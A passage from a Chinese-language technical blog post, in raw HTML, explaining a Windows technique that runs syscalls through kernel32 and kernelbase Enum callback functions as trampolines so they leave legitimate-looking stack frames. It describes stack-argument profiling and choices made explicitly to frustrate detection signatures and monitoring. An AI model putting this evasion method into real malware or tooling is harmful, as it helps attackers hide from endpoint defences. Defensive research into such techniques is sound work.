0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">诀窍在于：当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">通过跳板执行时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RAX</span></code><span leaf="">最终持有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">结果。然后 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">返回到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Internal_EnumSystemLocales</span></code><span leaf="">（或等价物），后者将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EAX</span></code><span leaf="">视为回调的返回值。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">NT 系统调用成功时返回 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STATUS_SUCCESS</span></code><span leaf="">。猜猜 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">STATUS_SUCCESS</span></code><span leaf="">是什么？零。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而 Enum 函数在回调返回 0 时做什么？它将其解释为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FALSE</span></code><span leaf="">（&#34;停止枚举&#34;）并退出。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以在成功情况下：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">返回 0，Enum 函数停止，回调只调用一次，完成。干净、高效，没有额外调用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在失败情况下：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">返回某个非零 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">，Enum 函数将其解释为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TRUE</span></code><span leaf="">（&#34;继续&#34;），再次调用回调。第二次调用就是阶段 3，它强制返回 0 以停止。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NTSTATUS</span></code><span leaf="">成功与回调&#34;停止&#34;值之间的这种对齐并非巧合。这正是我选择这 39 个函数的原因：它们都遵循这一约定。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7.3 并非所有函数都支持所有系统调用参数数量</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里有一些让我花了大量时间和精力才搞清楚的东西。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我们在阶段 2 设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">时，参数 5 到 11 放在栈上，位于当前属于 Enum 函数自身栈帧的区域。我们实际上在覆盖 Enum 函数可能正在积极使用的内存。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在，每个 Enum 函数有不同的序言。有些分配的栈空间比其他多。如果我们的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">有，比如说，10 个参数，我们写入栈槽 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP+0x28]</span></code><span leaf="">到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">[RSP+0x78]</span></code><span leaf="">。如果 Enum 函数只为其自身的 3 个局部变量分配了足够空间，我们刚刚覆盖了它的局部变量、保存的寄存器或天知道还有什么。崩溃。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">所以并非每个 Enum 函数都能支持每个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">参数数量。在完整实现（非 PoC）中，每个函数在运行时进行画像分析以确定它能安全支持的最大 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">参数数量。画像分析器工作方式如下：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">用特殊的裸回调调用 Enum 函数</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">回调捕获入口处的返回地址和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RSP</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">回溯调用栈，测量 Enum 函数序言在栈上分配了多少字节</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">除以 8 得到可用的 8 字节槽数</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">以函数声明的参数数量为上限（以防序言预留了超出需要的空间）</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结果是为每个函数生成一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">max_args</span></code><span leaf="">值。分派 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">时，调度器从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">max_args</span></code><span leaf="">至少与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">参数数量一样大的函数中随机选择一个 Enum 函数。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">例如，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemCodePagesA</span></code><span leaf="">可能最多支持 5 个参数，而 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumResourceLanguagesW</span></code><span leaf="">支持最多 11 个。10 个参数的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code><span leaf="">只能使用后者。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这种画像分析必须在每个 Windows 版本上进行，因为每个函数分配的栈空间量可能随 Microsoft 重新编译代码而在版本间变化。我从 Win8 起在多个 Windows 版本上测试了这一点，让我告诉你，这不是一次愉快的体验。详见第 8.1 节。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7.4 关于 InitOnceExecuteOnce 的说明</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">细心的读者可能已经注意到，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InitOnceExecuteOnce</span></code><span leaf="">严格来说不是&#34;Enum&#34;函数。它不枚举任何东西。它是一个一次性初始化原语：它恰好调用你的回调一次（如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INIT_ONCE</span></code><span leaf="">块尚未初始化）且不再调用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那它为什么在列表中？因为它满足所有相同的要求：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">它接受回调指针</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它至少调用回调一次（假设 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">INIT_ONCE</span></code><span leaf="">块是新的，我们通过每次使用前清零来确保）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">当回调返回 0（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FALSE</span></code><span leaf="">）时，它将初始化视为失败，不做任何奇怪的事</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">它位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">它在调用栈上创建合法帧</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其调用约定略有不同（回调接收 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LPINIT_ONCE</span></code><span leaf="">指针、一个参数和一个上下文指针），但由于我们只关心它创建的栈帧而非其实际语义，它作为跳板工作得很好。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">包含满足要求的非 Enum 函数是刻意的：池越多样化，构建检测签名就越困难。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7.5 为什么不用 user32.dll？</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user32.dll</span></code><span leaf="">也有大量 Enum 函数：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumWindows</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDesktopWindows</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumDisplayMonitors</span></code><span leaf="">等。我故意排除了它们，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user32.dll</span></code><span leaf="">并非在每个进程中默认加载。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">控制台应用程序、服务和大多数非 GUI 程序在其地址空间中没有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">user32.dll</span></code><span leaf="">。用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LoadLibrary</span></code><span leaf="">加载它将是一个可疑的、可监控的事件。通过坚持使用始终加载的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernel32.dll</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase.dll</span></code><span leaf="">，我避免了这个问题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8. 调试噩梦</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 